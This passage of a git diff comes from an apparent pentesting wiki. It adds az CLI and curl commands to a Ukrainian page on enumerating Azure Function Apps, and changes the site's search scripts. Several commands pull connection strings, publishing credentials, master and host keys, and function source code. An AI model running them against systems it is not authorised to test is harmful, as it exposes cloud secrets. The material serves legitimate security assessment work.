`DOCKER|mcr.microsoft.com/...`, тоді як у веб-консолі конфігурація відображатиме **image settings**. +Не всі плани дозволяють розгортати контейнери, але для тих, що дозволяють, конфігурація міститиме URL контейнера. В API налаштування **`linuxFxVersion`** матиме щось на зразок: `DOCKER|mcr.microsoft.com/...`, тоді як у веб-консолі конфігурація відображатиме **налаштування зображення**. Більше того, **жоден вихідний код не буде зберігатися в обліковому записі зберігання**, пов'язаному з функцією, оскільки це не потрібно. -## Enumeration +## Перерахування {{#tabs }} {{#tab name="az cli" }} @@ -211,10 +213,10 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} # List all the functions az functionapp list -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# List functions in an function-app (endpoints) +az functionapp function list \ +--name \ +--resource-group # Get details about the source of the function code az functionapp deployment source show \ @@ -231,6 +233,9 @@ az functionapp config container show \ # Get settings (and privesc to the sorage account) az functionapp config appsettings list --name --resource-group +# Get access restrictions +az functionapp config access-restriction show --name --resource-group + # Check if a domain was assigned to a function app az functionapp config hostname list --webapp-name --resource-group @@ -240,22 +245,41 @@ az functionapp config ssl list --resource-group # Get network restrictions az functionapp config access-restriction show --name --resource-group -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +# Get acess restrictions +az functionapp config access-restriction show --name --resource-group + +# Get connection strings +az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/connectionstrings/list?api-version=2022-03-01" +az rest --method GET --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/configreferences/connectionstrings?api-version=2022-03-01" + +# Get SCM credentials +az functionapp deployment list-publishing-credentials --name --resource-group + +# Get function, system and master keys +az functionapp keys list --name --resource-group + +# Get Host key +az rest --method POST --uri "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" # Get source code with Master Key of the function curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v +curl "https://.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v + +# Get source code using SCM access (Azure permissions or SCM creds) +az rest --method GET \ +--url "https://.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" \ +--resource "https://management.azure.com/" + +# Get source code with Azure permissions +az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +## Another example +az rest --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/ConsumptionExample/hostruntime/admin/vfs/HttpExample/index.js?relativePath=1&api-version=2022-03-01" -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash Get-Command -Module Az.Functions # Lists all Function Apps in the current subscription or in a specific resource group. diff --git a/theme/elasticlunr.min.js b/theme/elasticlunr.min.js new file mode 100644 index 000000000..32cb1bce1 --- /dev/null +++ b/theme/elasticlunr.min.js @@ -0,0 +1,10 @@ +/** + * elasticlunr - http://weixsong.github.io + * Lightweight full-text search engine in Javascript for browser search and offline search. - 0.9.5 + * + * Copyright (C) 2016 Oliver Nightingale + * Copyright (C) 2016 Wei Song + * MIT Licensed + * @license + */ +!function(){function e(e){if(null===e||"object"!=typeof e)return e;var t=e.constructor();for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}var t=function(e){var n=new t.Index;return n.pipeline.add(t.trimmer,t.stopWordFilter,t.stemmer),e&&e.call(n,n),n};t.version="0.9.5",lunr=t,t.utils={},t.utils.warn=function(e){return function(t){e.console&&console.warn&&console.warn(t)}}(this),t.utils.toString=function(e){return void 0===e||null===e?"":e.toString()},t.EventEmitter=function(){this.events={}},t.EventEmitter.prototype.addListener=function(){var e=Array.prototype.slice.call(arguments),t=e.pop(),n=e;if("function"!=typeof t)throw new TypeError("last argument must be a function");n.forEach(function(e){this.hasHandler(e)||(this.events[e]=[]),this.events[e].push(t)},this)},t.EventEmitter.prototype.removeListener=function(e,t){if(this.hasHandler(e)){var n=this.events[e].indexOf(t);-1!==n&&(this.events[e].splice(n,1),0==this.events[e].length&&delete this.events[e])}},t.EventEmitter.prototype.emit=function(e){if(this.hasHandler(e)){var t=Array.prototype.slice.call(arguments,1);this.events[e].forEach(function(e){e.apply(void 0,t)},this)}},t.EventEmitter.prototype.hasHandler=function(e){return e in this.events},t.tokenizer=function(e){if(!arguments.length||null===e||void 0===e)return[];if(Array.isArray(e)){var n=e.filter(function(e){return null===e||void 0===e?!1:!0});n=n.map(function(e){return t.utils.toString(e).toLowerCase()});var i=[];return n.forEach(function(e){var n=e.split(t.tokenizer.seperator);i=i.concat(n)},this),i}return e.toString().trim().toLowerCase().split(t.tokenizer.seperator)},t.tokenizer.defaultSeperator=/[\s\-]+/,t.tokenizer.seperator=t.tokenizer.defaultSeperator,t.tokenizer.setSeperator=function(e){null!==e&&void 0!==e&&"object"==typeof e&&(t.tokenizer.seperator=e)},t.tokenizer.resetSeperator=function(){t.tokenizer.seperator=t.tokenizer.defaultSeperator},t.tokenizer.getSeperator=function(){return t.tokenizer.seperator},t.Pipeline=function(){this._queue=[]},t.Pipeline.registeredFunctions={},t.Pipeline.registerFunction=function(e,n){n in t.Pipeline.registeredFunctions&&t.utils.warn("Overwriting existing registered function: "+n),e.label=n,t.Pipeline.registeredFunctions[n]=e},t.Pipeline.getRegisteredFunction=function(e){return e in t.Pipeline.registeredFunctions!=!0?null:t.Pipeline.registeredFunctions[e]},t.Pipeline.warnIfFunctionNotRegistered=function(e){var n=e.label&&e.label in this.registeredFunctions;n||t.utils.warn("Function is not registered with pipeline. This may cause problems when serialising the index.\n",e)},t.Pipeline.load=function(e){var n=new t.Pipeline;return e.forEach(function(e){var i=t.Pipeline.getRegisteredFunction(e);if(!i)throw new Error("Cannot load un-registered function: "+e);n.add(i)}),n},t.Pipeline.prototype.add=function(){var e=Array.prototype.slice.call(arguments);e.forEach(function(e){t.Pipeline.warnIfFunctionNotRegistered(e),this._queue.push(e)},this)},t.Pipeline.prototype.after=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i+1,0,n)},t.Pipeline.prototype.before=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i,0,n)},t.Pipeline.prototype.remove=function(e){var t=this._queue.indexOf(e);-1!==t&&this._queue.splice(t,1)},t.Pipeline.prototype.run=function(e){for(var t=[],n=e.length,i=this._queue.length,o=0;n>o;o++){for(var r=e[o],s=0;i>s&&(r=this._queue[s](r,o,e),void 0!==r&&null!==r);s++);void 0!==r&&null!==r&&t.push(r)}return t},t.Pipeline.prototype.reset=function(){this._queue=[]},t.Pipeline.prototype.get=function(){return this._queue},t.Pipeline.prototype.toJSON=function(){return this._queue.map(function(e){return t.Pipeline.warnIfFunctionNotRegistered(e),e.label})},t.Index=function(){this._fields=[],this._ref="id",this.pipeline=new t.Pipeline,this.documentStore=new t.DocumentStore,this.index={},this.eventEmitter=new t.EventEmitter,this._idfCache={},this.on("add","remove","update",function(){this._idfCache={}}.bind(this))},t.Index.prototype.on=function(){var e=Array.prototype.slice.call(arguments);return this.eventEmitter.addListener.apply(this.eventEmitter,e)},t.Index.prototype.off=function(e,t){return this.eventEmitter.removeListener(e,t)},t.Index.load=function(e){e.version!==t.version&&t.utils.warn("version mismatch: current "+t.version+" importing "+e.version);var n=new this;n._fields=e.fields,n._ref=e.ref,n.documentStore=t.DocumentStore.load(e.documentStore),n.pipeline=t.Pipeline.load(e.pipeline),n.index={};for(var i in e.index)n.index[i]=t.InvertedIndex.load(e.index[i]);return n},t.Index.prototype.addField=function(e){return this._fields.push(e),this.index[e]=new t.InvertedIndex,this},t.Index.prototype.setRef=function(e){return this._ref=e,this},t.Index.prototype.saveDocument=function(e){return this.documentStore=new t.DocumentStore(e),this},t.Index.prototype.addDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.addDoc(i,e),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));this.documentStore.addFieldLength(i,n,o.length);var r={};o.forEach(function(e){e in r?r[e]+=1:r[e]=1},this);for(var s in r){var u=r[s];u=Math.sqrt(u),this.index[n].addToken(s,{ref:i,tf:u})}},this),n&&this.eventEmitter.emit("add",e,this)}},t.Index.prototype.removeDocByRef=function(e){if(e&&this.documentStore.isDocStored()!==!1&&this.documentStore.hasDoc(e)){var t=this.documentStore.getDoc(e);this.removeDoc(t,!1)}},t.Index.prototype.removeDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.hasDoc(i)&&(this.documentStore.removeDoc(i),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));o.forEach(function(e){this.index[n].removeToken(e,i)},this)},this),n&&this.eventEmitter.emit("remove",e,this))}},t.Index.prototype.updateDoc=function(e,t){var t=void 0===t?!0:t;this.removeDocByRef(e[this._ref],!1),this.addDoc(e,!1),t&&this.eventEmitter.emit("update",e,this)},t.Index.prototype.idf=function(e,t){var n="@"+t+"/"+e;if(Object.prototype.hasOwnProperty.call(this._idfCache,n))return this._idfCache[n];var i=this.index[t].getDocFreq(e),o=1+Math.log(this.documentStore.length/(i+1));return this._idfCache[n]=o,o},t.Index.prototype.getFields=function(){return this._fields.slice()},t.Index.prototype.search=function(e,n){if(!e)return[];var i=null;null!=n&&(i=JSON.stringify(n));var o=new t.Configuration(i,this.getFields()).get(),r=this.pipeline.run(t.tokenizer(e)),s={};for(var u in o){var a=this.fieldSearch(r,u,o),l=o[u].boost;for(var d in a)a[d]=a[d]*l;for(var d in a)d in s?s[d]+=a[d]:s[d]=a[d]}var c=[];for(var d in s)c.push({ref:d,score:s[d]});return c.sort(function(e,t){return t.score-e.score}),c},t.Index.prototype.fieldSearch=function(e,t,n){var i=n[t].bool,o=n[t].expand,r=n[t].boost,s=null,u={};return 0!==r?(e.forEach(function(e){var n=[e];1==o&&(n=this.index[t].expandToken(e));var r={};n.forEach(function(n){var o=this.index[t].getDocs(n),a=this.idf(n,t);if(s&&"AND"==i){var l={};for(var d in s)d in o&&(l[d]=o[d]);o=l}n==e&&this.fieldSearchStats(u,n,o);for(var d in o){var c=this.index[t].getTermFrequency(n,d),f=this.documentStore.getFieldLength(d,t),h=1;0!=f&&(h=1/Math.sqrt(f));var p=1;n!=e&&(p=.15*(1-(n.length-e.length)/n.length));var v=c*a*h*p;d in r?r[d]+=v:r[d]=v}},this),s=this.mergeScores(s,r,i)},this),s=this.coordNorm(s,u,e.length)):void 0},t.Index.prototype.mergeScores=function(e,t,n){if(!e)return t;if("AND"==n){var i={};for(var o in t)o in e&&(i[o]=e[o]+t[o]);return i}for(var o in t)o in e?e[o]+=t[o]:e[o]=t[o];return e},t.Index.prototype.fieldSearchStats=function(e,t,n){for(var i in n)i in e?e[i].push(t):e[i]=[t]},t.Index.prototype.coordNorm=function(e,t,n){for(var i in e)if(i in t){var o=t[i].length;e[i]=e[i]*o/n}return e},t.Index.prototype.toJSON=function(){var e={};return this._fields.forEach(function(t){e[t]=this.index[t].toJSON()},this),{version:t.version,fields:this._fields,ref:this._ref,documentStore:this.documentStore.toJSON(),index:e,pipeline:this.pipeline.toJSON()}},t.Index.prototype.use=function(e){var t=Array.prototype.slice.call(arguments,1);t.unshift(this),e.apply(this,t)},t.DocumentStore=function(e){this._save=null===e||void 0===e?!0:e,this.docs={},this.docInfo={},this.length=0},t.DocumentStore.load=function(e){var t=new this;return t.length=e.length,t.docs=e.docs,t.docInfo=e.docInfo,t._save=e.save,t},t.DocumentStore.prototype.isDocStored=function(){return this._save},t.DocumentStore.prototype.addDoc=function(t,n){this.hasDoc(t)||this.length++,this.docs[t]=this._save===!0?e(n):null},t.DocumentStore.prototype.getDoc=function(e){return this.hasDoc(e)===!1?null:this.docs[e]},t.DocumentStore.prototype.hasDoc=function(e){return e in this.docs},t.DocumentStore.prototype.removeDoc=function(e){this.hasDoc(e)&&(delete this.docs[e],delete this.docInfo[e],this.length--)},t.DocumentStore.prototype.addFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&(this.docInfo[e]||(this.docInfo[e]={}),this.docInfo[e][t]=n)},t.DocumentStore.prototype.updateFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&this.addFieldLength(e,t,n)},t.DocumentStore.prototype.getFieldLength=function(e,t){return null===e||void 0===e?0:e in this.docs&&t in this.docInfo[e]?this.docInfo[e][t]:0},t.DocumentStore.prototype.toJSON=function(){return{docs:this.docs,docInfo:this.docInfo,length:this.length,save:this._save}},t.stemmer=function(){var e={ational:"ate",tional:"tion",enci:"ence",anci:"ance",izer:"ize",bli:"ble",alli:"al",entli:"ent",eli:"e",ousli:"ous",ization:"ize",ation:"ate",ator:"ate",alism:"al",iveness:"ive",fulness:"ful",ousness:"ous",aliti:"al",iviti:"ive",biliti:"ble",logi:"log"},t={icate:"ic",ative:"",alize:"al",iciti:"ic",ical:"ic",ful:"",ness:""},n="[^aeiou]",i="[aeiouy]",o=n+"[^aeiouy]*",r=i+"[aeiou]*",s="^("+o+")?"+r+o,u="^("+o+")?"+r+o+"("+r+")?$",a="^("+o+")?"+r+o+r+o,l="^("+o+")?"+i,d=new RegExp(s),c=new RegExp(a),f=new RegExp(u),h=new RegExp(l),p=/^(.+?)(ss|i)es$/,v=/^(.+?)([^s])s$/,g=/^(.+?)eed$/,m=/^(.+?)(ed|ing)$/,y=/.$/,S=/(at|bl|iz)$/,x=new RegExp("([^aeiouylsz])\\1$"),w=new RegExp("^"+o+i+"[^aeiouwxy]$"),I=/^(.+?[^aeiou])y$/,b=/^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/,E=/^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/,D=/^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/,F=/^(.+?)(s|t)(ion)$/,_=/^(.+?)e$/,P=/ll$/,k=new RegExp("^"+o+i+"[^aeiouwxy]$"),z=function(n){var i,o,r,s,u,a,l;if(n.length<3)return n;if(r=n.substr(0,1),"y"==r&&(n=r.toUpperCase()+n.substr(1)),s=p,u=v,s.test(n)?n=n.replace(s,"$1$2"):u.test(n)&&(n=n.replace(u,"$1$2")),s=g,u=m,s.test(n)){var z=s.exec(n);s=d,s.test(z[1])&&(s=y,n=n.replace(s,""))}else if(u.test(n)){var z=u.exec(n);i=z[1],u=h,u.test(i)&&(n=i,u=S,a=x,l=w,u.test(n)?n+="e":a.test(n)?(s=y,n=n.replace(s,"")):l.test(n)&&(n+="e"))}if(s=I,s.test(n)){var z=s.exec(n);i=z[1],n=i+"i"}if(s=b,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+e[o])}if(s=E,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+t[o])}if(s=D,u=F,s.test(n)){var z=s.exec(n);i=z[1],s=c,s.test(i)&&(n=i)}else if(u.test(n)){var z=u.exec(n);i=z[1]+z[2],u=c,u.test(i)&&(n=i)}if(s=_,s.test(n)){var z=s.exec(n);i=z[1],s=c,u=f,a=k,(s.test(i)||u.test(i)&&!a.test(i))&&(n=i)}return s=P,u=c,s.test(n)&&u.test(n)&&(s=y,n=n.replace(s,"")),"y"==r&&(n=r.toLowerCase()+n.substr(1)),n};return z}(),t.Pipeline.registerFunction(t.stemmer,"stemmer"),t.stopWordFilter=function(e){return e&&t.stopWordFilter.stopWords[e]!==!0?e:void 0},t.clearStopWords=function(){t.stopWordFilter.stopWords={}},t.addStopWords=function(e){null!=e&&Array.isArray(e)!==!1&&e.forEach(function(e){t.stopWordFilter.stopWords[e]=!0},this)},t.resetStopWords=function(){t.stopWordFilter.stopWords=t.defaultStopWords},t.defaultStopWords={"":!0,a:!0,able:!0,about:!0,across:!0,after:!0,all:!0,almost:!0,also:!0,am:!0,among:!0,an:!0,and:!0,any:!0,are:!0,as:!0,at:!0,be:!0,because:!0,been:!0,but:!0,by:!0,can:!0,cannot:!0,could:!0,dear:!0,did:!0,"do":!0,does:!0,either:!0,"else":!0,ever:!0,every:!0,"for":!0,from:!0,get:!0,got:!0,had:!0,has:!0,have:!0,he:!0,her:!0,hers:!0,him:!0,his:!0,how:!0,however:!0,i:!0,"if":!0,"in":!0,into:!0,is:!0,it:!0,its:!0,just:!0,least:!0,let:!0,like:!0,likely:!0,may:!0,me:!0,might:!0,most:!0,must:!0,my:!0,neither:!0,no:!0,nor:!0,not:!0,of:!0,off:!0,often:!0,on:!0,only:!0,or:!0,other:!0,our:!0,own:!0,rather:!0,said:!0,say:!0,says:!0,she:!0,should:!0,since:!0,so:!0,some:!0,than:!0,that:!0,the:!0,their:!0,them:!0,then:!0,there:!0,these:!0,they:!0,"this":!0,tis:!0,to:!0,too:!0,twas:!0,us:!0,wants:!0,was:!0,we:!0,were:!0,what:!0,when:!0,where:!0,which:!0,"while":!0,who:!0,whom:!0,why:!0,will:!0,"with":!0,would:!0,yet:!0,you:!0,your:!0},t.stopWordFilter.stopWords=t.defaultStopWords,t.Pipeline.registerFunction(t.stopWordFilter,"stopWordFilter"),t.trimmer=function(e){if(null===e||void 0===e)throw new Error("token should not be undefined");return e.replace(/^\W+/,"").replace(/\W+$/,"")},t.Pipeline.registerFunction(t.trimmer,"trimmer"),t.InvertedIndex=function(){this.root={docs:{},df:0}},t.InvertedIndex.load=function(e){var t=new this;return t.root=e.root,t},t.InvertedIndex.prototype.addToken=function(e,t,n){for(var n=n||this.root,i=0;i<=e.length-1;){var o=e[i];o in n||(n[o]={docs:{},df:0}),i+=1,n=n[o]}var r=t.ref;n.docs[r]?n.docs[r]={tf:t.tf}:(n.docs[r]={tf:t.tf},n.df+=1)},t.InvertedIndex.prototype.hasToken=function(e){if(!e)return!1;for(var t=this.root,n=0;n0&&t.push(e);for(var i in n)"docs"!==i&&"df"!==i&&this.expandToken(e+i,t,n[i]);return t},t.InvertedIndex.prototype.toJSON=function(){return{root:this.root}},t.Configuration=function(e,n){var e=e||"";if(void 0==n||null==n)throw new Error("fields should not be null");this.config={};var i;try{i=JSON.parse(e),this.buildUserConfig(i,n)}catch(o){t.utils.warn("user configuration parse failed, will use default configuration"),this.buildDefaultConfig(n)}},t.Configuration.prototype.buildDefaultConfig=function(e){this.reset(),e.forEach(function(e){this.config[e]={boost:1,bool:"OR",expand:!1}},this)},t.Configuration.prototype.buildUserConfig=function(e,n){var i="OR",o=!1;if(this.reset(),"bool"in e&&(i=e.bool||i),"expand"in e&&(o=e.expand||o),"fields"in e)for(var r in e.fields)if(n.indexOf(r)>-1){var s=e.fields[r],u=o;void 0!=s.expand&&(u=s.expand),this.config[r]={boost:s.boost||0===s.boost?s.boost:1,bool:s.bool||i,expand:u}}else t.utils.warn("field name in user configuration not found in index instance fields");else this.addAllFields2UserConfig(i,o,n)},t.Configuration.prototype.addAllFields2UserConfig=function(e,t,n){n.forEach(function(n){this.config[n]={boost:1,bool:e,expand:t}},this)},t.Configuration.prototype.get=function(){return this.config},t.Configuration.prototype.reset=function(){this.config={}},lunr.SortedSet=function(){this.length=0,this.elements=[]},lunr.SortedSet.load=function(e){var t=new this;return t.elements=e,t.length=e.length,t},lunr.SortedSet.prototype.add=function(){var e,t;for(e=0;e1;){if(r===e)return o;e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o]}return r===e?o:-1},lunr.SortedSet.prototype.locationFor=function(e){for(var t=0,n=this.elements.length,i=n-t,o=t+Math.floor(i/2),r=this.elements[o];i>1;)e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o];return r>e?o:e>r?o+1:void 0},lunr.SortedSet.prototype.intersect=function(e){for(var t=new lunr.SortedSet,n=0,i=0,o=this.length,r=e.length,s=this.elements,u=e.elements;;){if(n>o-1||i>r-1)break;s[n]!==u[i]?s[n]u[i]&&i++:(t.add(s[n]),n++,i++)}return t},lunr.SortedSet.prototype.clone=function(){var e=new lunr.SortedSet;return e.elements=this.toArray(),e.length=e.elements.length,e},lunr.SortedSet.prototype.union=function(e){var t,n,i;this.length>=e.length?(t=this,n=e):(t=e,n=this),i=t.clone();for(var o=0,r=n.toArray();o { "use strict"; - window.search = window.search || {}; - (function search(search) { - // Search functionality - // - // You can use !hasFocus() to prevent keyhandling in your key - // event handlers while the user is typing their search. - - if (!Mark || !elasticlunr) { - return; + + /* ───────────── 0. helpers (main thread) ───────────── */ + const clear = el => { while (el.firstChild) el.removeChild(el.firstChild); }; + + /* ───────────── 1. Web‑Worker code ─────────────────── */ + const workerCode = ` + self.window = self; + self.search = self.search || {}; + const abs = p => location.origin + p; + + /* 1 — elasticlunr */ + try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); } + catch { importScripts(abs('/elasticlunr.min.js')); } + + /* 2 — load a single index (remote → local) */ + async function loadIndex(remote, local, isCloud=false){ + let rawLoaded = false; + try { + const r = await fetch(remote,{mode:'cors'}); + if (!r.ok) throw new Error('HTTP '+r.status); + importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'}))); + rawLoaded = true; + } catch(e){ console.warn('remote',remote,'failed →',e); } + if(!rawLoaded){ + try { importScripts(abs(local)); rawLoaded = true; } + catch(e){ console.error('local',local,'failed →',e); } } - - //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith - if (!String.prototype.startsWith) { - String.prototype.startsWith = function(search, pos) { - return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; - }; - } - - var search_wrap = document.getElementById('search-wrapper'), - search_modal = document.getElementById('search-modal'), - searchbar = document.getElementById('searchbar'), - searchbar_outer = document.getElementById('searchbar-outer'), - searchresults = document.getElementById('searchresults'), - searchresults_outer = document.getElementById('searchresults-outer'), - searchresults_header = document.getElementById('searchresults-header'), - searchicon = document.getElementById('search-toggle'), - content = document.getElementById('content'), - - searchindex = null, - doc_urls = [], - results_options = { - teaser_word_count: 30, - limit_results: 30, - }, - search_options = { - bool: "AND", - expand: true, - fields: { - title: {boost: 1}, - body: {boost: 1}, - breadcrumbs: {boost: 0} - } - }, - mark_exclude = [], - marker = new Mark(content), - current_searchterm = "", - URL_SEARCH_PARAM = 'search', - URL_MARK_PARAM = 'highlight', - teaser_count = 0, - - SEARCH_HOTKEY_KEYCODE = 83, - ESCAPE_KEYCODE = 27, - DOWN_KEYCODE = 40, - UP_KEYCODE = 38, - SELECT_KEYCODE = 13; - - function hasFocus() { - return searchbar === document.activeElement; - } - - function removeChildren(elem) { - while (elem.firstChild) { - elem.removeChild(elem.firstChild); - } - } - - // Helper to parse a url into its building blocks. - function parseURL(url) { - var a = document.createElement('a'); - a.href = url; - return { - source: url, - protocol: a.protocol.replace(':',''), - host: a.hostname, - port: a.port, - params: (function(){ - var ret = {}; - var seg = a.search.replace(/^\?/,'').split('&'); - var len = seg.length, i = 0, s; - for (;i': '>', - '"': '"', - "'": ''' - }; - var repl = function(c) { return MAP[c]; }; - return function(s) { - return s.replace(/[&<>'"]/g, repl); - }; - })(); - - function formatSearchMetric(count, searchterm) { - if (count == 1) { - return count + " search result for '" + searchterm + "':"; - } else if (count == 0) { - return "No search results for '" + searchterm + "'."; - } else { - return count + " search results for '" + searchterm + "':"; - } - } - - function formatSearchResult(result, searchterms) { - var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); - teaser_count++; - - // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor - var url = doc_urls[result.ref].split("#"); - if (url.length == 1) { // no anchor found - url.push(""); - } - - // encodeURIComponent escapes all chars that could allow an XSS except - // for '. Due to that we also manually replace ' with its url-encoded - // representation (%27). - var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); - - return '' + result.doc.breadcrumbs - + '' - + teaser + '' + ''; - } - - function makeTeaser(body, searchterms) { - // The strategy is as follows: - // First, assign a value to each word in the document: - // Words that correspond to search terms (stemmer aware): 40 - // Normal words: 2 - // First word in a sentence: 8 - // Then use a sliding window with a constant number of words and count the - // sum of the values of the words within the window. Then use the window that got the - // maximum sum. If there are multiple maximas, then get the last one. - // Enclose the terms in . - var stemmed_searchterms = searchterms.map(function(w) { - return elasticlunr.stemmer(w.toLowerCase()); - }); - var searchterm_weight = 40; - var weighted = []; // contains elements of ["word", weight, index_in_document] - // split in sentences, then words - var sentences = body.toLowerCase().split('. '); - var index = 0; - var value = 0; - var searchterm_found = false; - for (var sentenceindex in sentences) { - var words = sentences[sentenceindex].split(' '); - value = 8; - for (var wordindex in words) { - var word = words[wordindex]; - if (word.length > 0) { - for (var searchtermindex in stemmed_searchterms) { - if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { - value = searchterm_weight; - searchterm_found = true; - } - }; - weighted.push([word, value, index]); - value = 2; - } - index += word.length; - index += 1; // ' ' or '.' if last word in sentence - }; - index += 1; // because we split at a two-char boundary '. ' - }; - - if (weighted.length == 0) { - return body; - } - - var window_weight = []; - var window_size = Math.min(weighted.length, results_options.teaser_word_count); - - var cur_sum = 0; - for (var wordindex = 0; wordindex < window_size; wordindex++) { - cur_sum += weighted[wordindex][1]; - }; - window_weight.push(cur_sum); - for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { - cur_sum -= weighted[wordindex][1]; - cur_sum += weighted[wordindex + window_size][1]; - window_weight.push(cur_sum); - }; - - if (searchterm_found) { - var max_sum = 0; - var max_sum_window_index = 0; - // backwards - for (var i = window_weight.length - 1; i >= 0; i--) { - if (window_weight[i] > max_sum) { - max_sum = window_weight[i]; - max_sum_window_index = i; - } - }; - } else { - max_sum_window_index = 0; - } - - // add around searchterms - var teaser_split = []; - var index = weighted[max_sum_window_index][2]; - for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { - var word = weighted[i]; - if (index < word[2]) { - // missing text from index to start of `word` - teaser_split.push(body.substring(index, word[2])); - index = word[2]; - } - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - index = word[2] + word[0].length; - teaser_split.push(body.substring(word[2], index)); - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - }; - - return teaser_split.join(''); - } - - function init(config) { - results_options = config.results_options; - search_options = config.search_options; - searchbar_outer = config.searchbar_outer; - doc_urls = config.doc_urls; - searchindex = elasticlunr.Index.load(config.index); - - // Set up events - searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); - searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); - document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); - // If the user uses the browser buttons, do the same as if a reload happened - window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; - // Suppress "submit" events so the page doesn't reload when the user presses Enter - document.addEventListener('submit', function(e) { e.preventDefault(); }, false); - - // If reloaded, do the search or mark again, depending on the current url parameters - doSearchOrMarkFromUrl(); - } - - function unfocusSearchbar() { - // hacky, but just focusing a div only works once - var tmp = document.createElement('input'); - tmp.setAttribute('style', 'position: absolute; opacity: 0;'); - searchicon.appendChild(tmp); - tmp.focus(); - tmp.remove(); - } - - // On reload or browser history backwards/forwards events, parse the url and do search or mark - function doSearchOrMarkFromUrl() { - // Check current URL for search request - var url = parseURL(window.location.href); - if (url.params.hasOwnProperty(URL_SEARCH_PARAM) - && url.params[URL_SEARCH_PARAM] != "") { - showSearch(true); - searchbar.value = decodeURIComponent( - (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); - searchbarKeyUpHandler(); // -> doSearch() - } else { - showSearch(false); - } - - if (url.params.hasOwnProperty(URL_MARK_PARAM)) { - var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); - marker.mark(words, { - exclude: mark_exclude - }); - - var markers = document.querySelectorAll("mark"); - function hide() { - for (var i = 0; i < markers.length; i++) { - markers[i].classList.add("fade-out"); - window.setTimeout(function(e) { marker.unmark(); }, 300); - } - } - for (var i = 0; i < markers.length; i++) { - markers[i].addEventListener('click', hide); - } - } - } - - // Eventhandler for keyevents on `document` - function globalKeyHandler(e) { - if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - - if (e.keyCode === ESCAPE_KEYCODE) { - e.preventDefault(); - searchbar.classList.remove("active"); - setSearchUrlParameters("", - (searchbar.value.trim() !== "") ? "push" : "replace"); - if (hasFocus()) { - unfocusSearchbar(); - } - showSearch(false); - marker.unmark(); - } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { - e.preventDefault(); - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else if 